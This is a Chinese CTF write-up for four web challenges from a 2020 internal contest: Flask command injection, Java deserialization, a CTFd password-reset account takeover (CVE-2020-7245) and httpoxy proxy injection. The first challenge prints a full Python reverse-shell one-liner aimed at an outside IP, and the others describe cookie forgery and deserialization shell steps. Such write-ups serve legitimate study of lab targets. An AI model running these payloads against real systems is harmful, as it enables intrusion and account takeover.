以下是 2020 年 2 月 29 日 V&N 内部考核赛 Web 部分四道题的 WriteUp。
难度不大,一个题基本上就一两个知识点。
不多说,开始。
一、CheckIN
知识点:
- RCE
- Linux 基本知识
步骤:
1、打开靶机,发现是如下一个页面,直接给了源码。右键查看源码可以看到有换行的,方便查看。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/15821223500f8aeb6860464da2c078b982e2d245dc-1024x647.png)
2、然后看看源码,可以看到是个 flask 应用。
- 前面打开了一个 flag 文件,后面被注释的部分是读这个文件的内容,下面有个被注释的路由是把 flag 显示出来。
- 然后下面有个不带回显的 shell,在每次执行命令前都会把 flag 文件删除。
3、那么就首先反弹个 shell 到自己的机器上吧。这里因为是 python 应用就直接用 python 反弹了。
http://9660aed4-6aed-4641-8dc4-e6824f501246.vn.node3.buuoj.cn/shell?c=python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“172.247.76.60”,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582122694912161fd2376c41d6e7a97bdca8af554.png)
4、反弹之后可以看见 flag 文件是被删除了,但由于之前程序打开了 flag 文件,在 linux 系统中如果一个程序打开了一个文件没有关闭,即便从外部(上文是利用 rm -f flag.txt)删除之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,通过这个我们即可得到被删除文件的内容。
5、可以看到我们在 /proc/11/fd/3 下找到了 flag。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582123001d679be002d536a5f4f55c5bb9bdc0483.png)
二、EasySpringMVC
这是那时候打中关村那个专项挑战赛时候的题目,觉得挺有意思的,改了改拿来给大家玩玩。
知识点:
- Java 代码审计
- Java 反序列化
步骤:
1、打开靶机,是这样一个页面。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/15821319679500a285769e338efb772dffe69f7087-1024x221.png)
2、然后用 JD-GUI 打开源码看看。
Tools 类,主要负责序列化与反序列化。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/158213248561a17f21acfe35a7b3ac89d33a052c2d-1024x639.png)
ClientInfo 类,是用来储存用户信息的类。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582167922ce2f4155d0a93c4a41113f4375a1542b-1024x465.png)
ClentInfoFilter 类,用于从 cookie 里进行反序列化的拦截器。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582167954443d32d38fc9dc9041d125a89c1f9a83-1024x640.png)
第一次访问时会序列化一个新的 ClientInfo 对象,用户名 Anonymous 用户组 normal,然后 base64 之后存入 cinfo cookie。再次访问时利用这个 cookie 反序列化为之前的对象。
然后来看看 Controller 代码逻辑,需要用户名为 admin 用户组为 webmanager。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/158216850025e3f149044df6c2db0ad000afc88325-1024x640.png)
3、那么就先来伪造一个用户名为 admin 用户组为 webmanager 的对象吧。
创建一个 Java 项目,把 ClientInfo 和 Tools 的源码拷进去,再编写主类,调用来伪造一个对象。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/15821690803bfba884fc0faa323f4dbf50033ddef6-1024x420.png)
4、将得到的字符串置 cookie,刷新页面,变为 admin。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582169228f421c567d32a946da8bc5cdf28986de3-1024x514.png)
5、然后一个个可能的漏洞点来测试,第一个是任意文件读,路径不能多跳或者少跳,成功。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582169589e8fc4da727279c65da3ebe7c07613393-1024x356.png)
尝试读 flag,权限不足。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582169749aed463811ced9bbc3cbc1322f95f9416-1024x573.png)
6、再来看上传文件那里,尝试穿越路径上传文件。
之前上传似乎权限不足。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/158217007052ae0c91e2a268705033a0c2c2a89558-1024x605.png)
穿越之后也无法上传。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582170202cbb75e127e810f8ac61d06ce6a9994cf-1024x800.png)
7、那么继续来看最后一个漏洞点,就是不反序列化 ClientInfo 了,尝试反序列化 Tools 类,其中有一个命令执行点。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582170579978e65ff55e4594d692ea1a429edc274-1024x726.png)
这会使其读取成员变量的时候使用这个方法来处理。
参考:https://blog.csdn.net/Leon_cx/article/details/81517603
8、那么就尝试来序列化一个 Tools。
修改 Tools 类,修改 testCall 为字符串数组,然后为其增加访问器方法。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582171364d5887b53c4200f43a42a470d44dd97a4-1024x459.png)
然后再修改 Main,把反弹 shell 的命令塞进去,序列化。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582171552deac7636a50274bb72c4fddec98dad87-1024x252.png)
9、在自己的机器上开启 nc 监听端口,置 cookie,可以看到 shell 反弹回来了。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582171649c71cd2485c020a25117bad85beed00d3-1024x609.png)
![](https://www.zhaoj.in/wp-content/uploads/2020/02/15821716658991026d54b60e1c61184e92f651172d-1024x153.png)
10、反弹成功,到根目录执行 /readflag 即可成功执行命令。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/158217175497c1adb5a1ada2177c4ad8126a2178d2-1024x844.png)
三、HappyCTFd
知识点:
- Python 代码审计
这是 CTFd 前些天出的 1day 漏洞,通过他们修复的 commit 即可分析这个漏洞的利用方法。
https://nvd.nist.gov/vuln/detail/CVE-2020-7245
https://github.com/CTFd/CTFd/commit/f660ed1fb769126a2d149c26645bbde457a5c616
1、先来根据 commit 分析一下这个漏洞。
这里,之前在验证的时候没有把用户名两头的空格给去掉,直接使用拿到的参数进行比较。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582172502ea76c4bd452af351eb4b8f3dd8ac5eea-1024x343.png)
但是,在保存的时候,https://github.com/CTFd/CTFd/blob/2.2.2/CTFd/auth.py#L210,却是保存的去掉空格之后的数据。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582176337d177d1cee96e6a6edec0e26ad8194069-1024x590.png)
而后在重置密码 https://github.com/CTFd/CTFd/blob/2.2.2/CTFd/auth.py#L145时,用的又是这个被处理之后的用户名。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/158217718147f618da7ecd3b9b5354c12fcf42ccb2-1024x756.png)
将其序列化,得到 token。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/158217721051c13b53b6780ecd3d8d5e1aafa8a2d3-1024x122.png)
而后,验证时将 token 反序列化,用这个用户名为依据来重置对应用户的密码。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582177698b97af0535b56dd6ceaff6763ab3fa0c4-1024x716.png)
所以路线就比较清晰了,我们可以在注册时注册一个用户名为 “空格 + 管理员用户名” 的账户,再用自己的注册邮箱来找回密码,找回密码之前再把自己账户名改为其他字符,这样重置密码时就会直接重置管理员的账户了。
2、来试一试吧,首先打开靶机,查看管理员用户名。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582178671faf1c288bf8ecb002e934aa5e70216f1-1024x393.png)
3、注册一个用户名为 “空格+admin” 的账户。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582178731751f17f17774cb03ba6c1876748a53c4-1024x709.png)
4、用隐私模式打开靶机,尝试找回密码。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582178901d1a802f28f706f304d61aac494cac2e3-1024x470.png)
5、提交之后,在这边改自己的用户名。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582178974abb856233e2a5f7a53ced0fa5443c868-1024x428.png)
6、再用刚才那个链接来重置密码。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582179116569e1bac3b3c4997a196a58d2908a3d5-1024x407.png)
7、即可使用管理员账户和这里重置的密码登录了。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582179264ab1f2e8544919c4e14804d1ae1d47751-1024x511.png)
8、隐藏题目的附件即为 flag 所在附件。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582179243bc7b73f57e1cea2f163bfe5438144542-974x1024.png)
四、TimeTravle
考点:
- CGI 特性
改自 vulhub 的一道题。
步骤:
1、打开靶机,查看PHP版本。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/15821799990eef1096ac864f0f108d4b3f80ee368e-1024x791.png)
2、然后来看看上面的代码。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/15821802986ba6fc5455954795d0e35cd540fa9e17-1024x757.png)
传入 flag,会请求一个 HTTPAPI 服务,那个服务返回 success 的话就执行程序读 flag。
传入 file,就回去读这个文件。
传入 phpinfo,就会执行 phpinfo。
2、那么看到 phpinfo 里是以 cgi 方式运行的(上面看到 Nginx + PHP 相信你也已经猜到了),那么我们就可以根据 https://github.com/vulhub/vulhub/tree/master/cgi/httpoxy 所述,来传入一个 Proxy头,使其产生一个 HTTP_PROXY 环境变量,这个环境变量再被程序里的 GuzzleHttp 使用,即可使流量走代理,控制返回的请求。
3、在你的 VPS 上打开一个 Frps,本地开 Frpc,把流量转发到你本地的 BURP Suite 上。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582185423c7f753d28df09385166549abb733236f-1024x55.png)
4、本地新建一个 HTTPAPI 服务器,就不用我们去改包了。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582185783355fc8c4f1c33f7e2a68bde3d2f7b9ed.png)
5、然后就构造一个请求, Proxy 那里写上你的服务器地址吧。
![](https://www.zhaoj.in/wp-content/uploads/2020/02/1582185820b47bd994997e21851a1b8820dc67a080-1024x522.png)
6、请求,flag 就到手了。
2 个评论
Djerryz
第四题: 第3和第4步, 在有VPS的情况下, 直接在VPS上启动Flask应该也是一样的效果吧..
glzjin
不一样- -BUUCTF 无法访问外网。